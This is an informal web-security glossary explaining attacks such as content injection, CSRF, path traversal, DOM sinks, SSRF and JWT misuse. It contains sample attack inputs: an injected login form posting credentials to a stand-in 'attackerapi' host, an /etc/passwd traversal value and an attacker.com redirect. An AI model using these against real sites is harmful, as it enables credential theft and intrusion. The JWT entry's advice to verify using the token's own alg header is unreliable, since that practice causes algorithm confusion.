• Attack surface : The attack surface is the number of all possible points, or attack vectors, where an attacker can access a system .The smaller the attack surface, the easier it is to protect.
• Clickjacking attack: clickjacking attack is used to trick the user into clicking on another website (say website http://target.com) while the user is browsing website http://malicious-website.com . Typically this attack is performed by hiding the target website's UI and arranging the visible UI so that the user isn't aware of clicking on the target website. Preventing clickjacking attack can be done with the help of X-Frame-Options : The X-Frame-Options HTTP response header can be used to indicate if a browser should be allowed to render a page in a frame , iframe , embed or object. Read more https://clarifyforme.com/posts/5639087159508992/clickjacking-attack 
• Content spoofing/injection:  Content spoofing is an attack that is closely related to XSS. While in XSS the attacker's input is a script which if injected can lead to XSS attack , in case of content spoofing the injected data is HTML or text. This html or text if reflected back will present a modified page to the user (however the domain will still be correct)
  • Text injection
  • HTML injection
    • eg let us say there is a url http://example.com/vulnerable.jsp?name=test.
    • the name is reflected back to user.
    • an attacker could create a url like 

      http://example.com/vulnerable.jsp?name=<h2>Please Enter Your Username and Password to Proceed:</h2><form method="POST"
      action="http://attackerapi/login.jsp">Username: <input type="text" name="username" /><br />Password: <input type="password"
      name="password" /><br /><input type="submit" value="Login" /></form>

• Content Security Policy(CSP). CSP is an incremental layer of security which can be used to mitigate XSS and data injection attack. Note that CSP only provides added security. It is not the primary way to defend against XSS. Using CSP , server admin can specify valid sources of executable scripts. A CSP compliant browser will ignore all other scripts . Read more https://clarifyforme.com/posts/5646853894832128/Content-Security-Policy 
• CORS : CORS is acronym for cross origin resource sharing. Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. Many websites interact with subdomains or third-party sites in a way that requires cross-origin access. A controlled relaxation of the same-origin policy is possible using cross-origin resource sharing (CORS). Note that XMLHttpRequest and fetch follow same orgin policy and without CORS ,  scripts running on a browser client to cannot interact with resources from a different origin. Read more https://clarifyforme.com/posts/5106719612993536/what-is-cors 
• Cross origin Request . If the origin of the request and target of the request do not match then it is a cross origin request . In other words if a web application running under one domain tries to access resources in another domain then it is called a cross origin request. Read more https://clarifyforme.com/posts/5637618884673536/What-is-a-cross-origin-request .
• CSRF (Cross site request forgery) : CSRF attacks exploit property of web browsers where in they automatically include any cookies set by a given domain in any web request (regardless of origin) sent to that domain. CSRF attack is also called XSRF and session riding. It involves a hacker tricking a user into clicking on a link that changes some state on the target system. Read more https://clarifyforme.com/posts/5699551306448896/What-is-CSRF-cross-site-request-forgery 
  • Cross site websocket hijacking during a websocket handshake to switch from http to ws the webscoket protocol doesn't prescribe any particular way that servers can authenticate clients. If cookie based mechanism is used then cross site website hijacking can happen. Because WebSockets are not restrained by the same-origin policy, an attacker can easily initiate a WebSocket request (i.e. the handshake/upgrade process) from a malicious webpage targeting the ws:// or wss:// endpoint URL of the attacked application. Due to the fact that this request is a regular HTTP(S) request, browsers send the cookies and HTTP-Authentication headers along, even cross-site. In the WebSocket scenario this attack can be extended from a write-only CSRF attack to a full read/write communication with a WebSocket service by physically establishing a new WebSocket connection with the service under the same authentication data as the victim. Note that Origin header is sent along the WebSocket handshake/upgrade request. This is like in a regular CORS request utilizing Cross-Origin Resource Sharing: If this was a regular HTTP(S) CORS request, the browser would not let the JavaScript on the malicious webpage see the response, when the server does not explicitly allow it (via a matching Access-Control-Allow-Origin response header). How ever this protection is not there for websocket. The developers should check the origin header and block the request themselves.
• Directory/filepath traversal. If the user input is used in filesystem api then directory/filepath traversal attack can be excuted.It is recommended that user input should not be used in filesystem api. Note that typically applications will block filenames containing directory traversal seqences or remove travesal sequences but there can be ways to bypass this eg
  • absolute path from the filesystem root, such as filename=/etc/passwd ,
  • nested traversal sequences, such as ....// or ....\/, which will revert to simple traversal sequences when the inner sequence is stripped.
  • url encoding ../ charecters.

               To stop this attack after validating the supplied input, the application should append the input to the base directory and use a platform filesystem API to canonicalize the path. It should verify that the canonicalized path starts with the expected base directory. eg 

File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
    // process file
}

• DOM based vulnerabilities: DOM-based vulnerabilities arise when a website contains JavaScript that takes an attacker-controllable value, known as a source (in dom based attacks the most common source is URL which can be accessed via the location object) , and passes it into a dangerous function, known as a sink. for example.
  • DOM based open redirection 

    document.location.href = location.hash.slice(1)

    above code can lead to DOM based open redirection attack,   if user clicks http://vulenerable-website.com/example.jsp#https:/attacker.com (url constructed by attacker) then he will be redirected to attacker.com. Note that the user sees vulenerable-website.com in the url which he trusts.
  • DOM based cookie manipulation 

     

  • document.cookie = 'cookieName='+location.hash.slice(1);

     

  • DOM-based JavaScript-injection : An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will cause arbitrary JavaScript supplied by the attacker to execute in the context of the user's browser session.The following are some of the main sinks that can lead to DOM-based JavaScript-injection vulnerabilities: 
    •  
    • eval()
    • Function()
    • setTimeout()
    • setInterval()
    • setImmediate()
    • execCommand()
    • execScript()
    • msSetImmediate()
    • range.createContextualFragment()
    • crypto.generateCRMFRequest()
  • Other dom based vulenrablities
    • The document.domain sink can lead to DOM-based document-domain manipulation vulnerabilities. Note that The document.domain property is used by browsers in their enforcement of the same origin policy. 
    • webcoket url poisoning The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.
    • DOM-based link-manipulation The following are some of the main sinks can lead to DOM-based link-manipulation vulnerabilities:
      • element.href
      • element.src
      • element.action
    • DOM-based Ajax request-header manipulation vulnerabilities The following are some of the main sinks can lead to DOM-based Ajax request-header vulnerabilities:
      • XMLHttpRequest.setRequestHeader()
      • XMLHttpRequest.open()
      • XMLHttpRequest.send()
    • DOM-based HTML5-storage manipulation vulnerabilitiesThe following are some of the main sinks that can lead to DOM-based HTML5-storage manipulation vulnerabilities:
      • sessionStorage.setItem()
      • localStorage.setItem()
• File upload vulnerability : When an web applicatino allows upload of files to file system without checking type , contents /size , then an attacker can upload dangerous files. If the application is vulnerable to filepath travesal attack also then attacker can
  • upload/overwrite server side code files like .jsp files (the server side code could have os calls which can lead to os command injection)
  • critical files could be overwritten . To protect against this vulenerability make sure the file extension , content,size are checked and save file in database or isolated server / service . Read more https://clarifyforme.com/posts/5661485615284224/file-upload-vulnerability-of-web-applications 
• headers from web security context
  • origin header : Origin header indicates the origin of the request. (scheme+host (domain name including subdomain)+port)   eg origin header may look like . Origin: https://icicibank.com:80. Note that request from a subdomain to a domain would be a cross origin request. browser adds origin request header to 
    • cross origin requests
    • same-origin requests except for GET or HEAD requests (i.e. they are added to same-origin POST, OPTIONS, PUT, PATCH, and DELETE requests).
    • The Origin header includes only the information required to identify the principal that initiated the request (typically the scheme, host, and port of the active document’s URL). In particular, the Origin headerdoes not contain the path or query portions of the URLincluded in the Referer header that 
  • referer header : This HTTP request header contains an absolute or partial url of the page that makes the request. The Referer header can contain an origin, path, and querystring, and may not contain URL fragments (i.e. "#section") or "username:password" information. The request's referrer policy defines the data that can be included.  This header will not be present when the referring link has the attribute rel=noreferer. Note that header is blocked widely at network layer because of privacy concerns.(for example the referer header reveals the contents of the search query that lead the user to visit a particular site. Read more https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer. 
• Http basic authentication: IN HTTP basic authentication authorization header is present in  each request. The header consists of a string containing Basic: <base64-encoded username:password>. eg Authorization: Basic am9lOjEyMzQ= The server receives the username:password on every request and checks in the db. HTTP basic authentication is prone to xss attack . Instead of base64encoding cryptographic hashes can also be used. All major browsers support this natively how ever note that in the approach the sessions do not expire.
• Http digest authentication
• Http host header attack: HTTP Host header can be used to attack websites that use the value of HTTP host header without validating it which will allow user to inject payload which can change the server's behaviour. Note that the host header can be easily modfied by proxies. Read more https://clarifyforme.com/posts/5191942610616320/HTTP-Host-header-attacks . 
• Http request smuggling : Typically multiple http requests can be sent over the http connection. The http server receiving the requests parses HTTP request headers to determine where one request ends and the next request starts. It is important that the front end and back end system agree about request boundaries. Most HTTP request smuggling vulnerabilities arise because the HTTP specification provides two different ways to specify where a request ends: the Content-Length header and the Transfer-Encoding header. Read more https://portswigger.net/web-security/request-smuggling
• Insecure deserialization : Insecure deserialization is when user-controllable data is deserialized by a webapplication. The best way to prevent insecure deserialization attacks is never to accept serialized objects from untrusted users. Alternatively, you can use serialization tools that allow only primitive data types. 
• JWT tokens : JWT, or JSON Web Token, is an open standard used to tranfsfer claims, share security information (authetication / authorization)  between two parties.The JWT encodes the claims in JavaScript object notation. For example , a server could generate a token that has the claim "logged in as administrator" and provide that to client. The tokens are typically signed and optionally encrypted. Signed tokens are commonly referred to as JSON web signatures (JWS) and encrypted tokens as JSON web encryption (JWE). Tokens can be sgined using using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA. Singing ensures. JWS ensure
  • Integrity of data - ie data is not tampered
  • Authenticity of data - (you can be sure that the senders are who they say they are.)Since only the sender has the private key of secret, hence the receiver can verify(using public key of sender/ shared secret) that the message has come from authentic sender .Note that verification of signature is critical to be sure of authenticity and integrity of data . without verification jwt should not be used. Read more https://clarifyforme.com/posts/5768407551049728/what-are-jwt-tokens Note that JWT Algorithm confusion attack can happen due to wrong implementation in jwt library. The verifying algorithm should be based on alg parameter in tokens header. Read more https://portswigger.net/web-security/jwt/algorithm-confusion. 
• Man in the middle attack :
• OS command injection : In this attack the payload injected by the attacker is executed as operating system commands. OS command injection attacks are possible only if the web application code includes operating system calls and user input is used in the call. In general from application layer os command should not be fired. This will prevent OS command injection. Read more https://portswigger.net/web-security/os-command-injection 
• Open redirect: When the destination of a redirect is provided by the client and if the server does not filter/validate the untrusted user provided destination then the application has open redirect vulnerability. Developer who use dynamic redirects based in user input must treat the user input as untrusted, otherwise the attacker can send the user to malicious site. Read more https://clarifyforme.com/posts/5644193271644160/What-are-open-redirects 
• Phishing attack : Typically in phishing attack, the attacker sends the use a malicious link which closely resembles a genuine website (slight spelling mistake in domain name or subdomain is present). Clicking on the link will take the user to attacker's website which closely resembles genuine website.If the user enters his credentials on attacker's website then the attacker would have succesfully stolen the password. Multifactor authentication is the best way to stop phishing attack. MFA is commonly used by banking websites. Read more https://clarifyforme.com/posts/5729979497185280/Phishing-attacks 
• Penetration testing
• Password reset poisoning. if the vulnerable website uses the host header to generate the password reset link , it will be prone password reset poisoning attack . Read a simple yet detailed explanation https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning.
• Replay attack: In a replay attack communication/message over secure network is (sent again)/replayed to the receiver of the message by an attacker .The attack may be
  • Man in the middle attack where the attacker has access to communication. It should be noted that the attacker need not decrypt the message.The attack could be successful by simply resending the whole encrypted message.
  • Man in the browser.
• Routing based SSRF. Typically SSRF attack is usually based on application server using URL derived from user input and hence by controlling the url the attacker can execute unauthorized actions or access to data .  A simple example would be a attacker is able to send url http://192.168.0.68/admin-module.jsp and the server make a http request to this url to return response. Read more https://portswigger.net/web-security/ssrf. Routing based SSRF is based on exploiting reverse proxy . The reverse proxy receives request and routes it to the appropriate backend. host header manipulation can make the proxy misroute the request. This is dangerous as typically load balancers are gateways to internal network.
• Same origin policy : A browser enforced policy that prevents content from being loaded in another origin. Read more https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy 
• Session Fixation : An attacker can forces a site to use a predictable session identifier for a new session. After the user supplies their authentication credentials to a genuine site, the site associates the user’s authorization with the predictable session identifier. The attacker can then access the genuine site direct using the session identifier and can act asthe user.
  • Openid session fixation
• Session Hijacking
• SSRF : To handle a http request an application server can make other api requests to other internal services (which may not be be directly be reachable by end user) . These internal services may be available only on private IP. Since the internal services are protected by network topology they may have weaker security. Any service inside the network may be able to interact with internal service. Typically SSRF attack is usually based on application server using URL derived from user input and hence by controlling the url the attacker can execute unauthorized actions or access to data . To block SSRF attack url which have been input by user have to be sanitized, black listed or whitelisted. Read more https://clarifyforme.com/posts/5664146238472192/What-is-SSRF 
• Server side template injection : if user input is added on to server template rather than being passed on as data then server side template injection can occur. static templates are not vulnerable to server side template injection. Read more https://portswigger.net/web-security/server-side-template-injection 
• SQL Injection(SQLi)  is websecurity loop hole which can be exploited by attackers to modify the query which the application sends to RDBMS for execution. An attacker may be able to view/modify/delete data without any authorization. Simialar to XSS attack, untrusted user input if used in queries can lead to SQLi . Read more https://clarifyforme.com/posts/5702636703580160/SQL-Injection .
• XSS (Cross site scripting) attack : XSS attack ( Cross Site Scripting ) is a code injection attack that allows an attacker to inject malicious code into website. Note that XSS is misnomer. Injection of any script is called XSS. Read more https://clarifyforme.com/posts/5714760926494720/What-is-XSS-attack 
• Web cache poisoning : host header can be used for web cache poisoning attack. web cache poisoning attack depends on population of cache with a response which has untrusted injected header. see a simple yet detailed exaplantion https://www.acunetix.com/blog/articles/what-is-web-cache-poisoning/
• Web message vulenerability.

  <script>
  window.addEventListener('message', function(e) {
    eval(e.data);
  });
  </script>

  consider the above code : it is not safe as the origin of the incoming message is not checked . Developer should check e.orgin  to ensure that only trusted webapps can send messsage. Read more https://portswigger.net/web-security/dom-based/controlling-the-web-message-source

Read more

• https://owasp.org/www-community/attacks/Content_Spoofing
• https://security.stackexchange.com/questions/48226/is-data-exposed-in-a-csrf-attack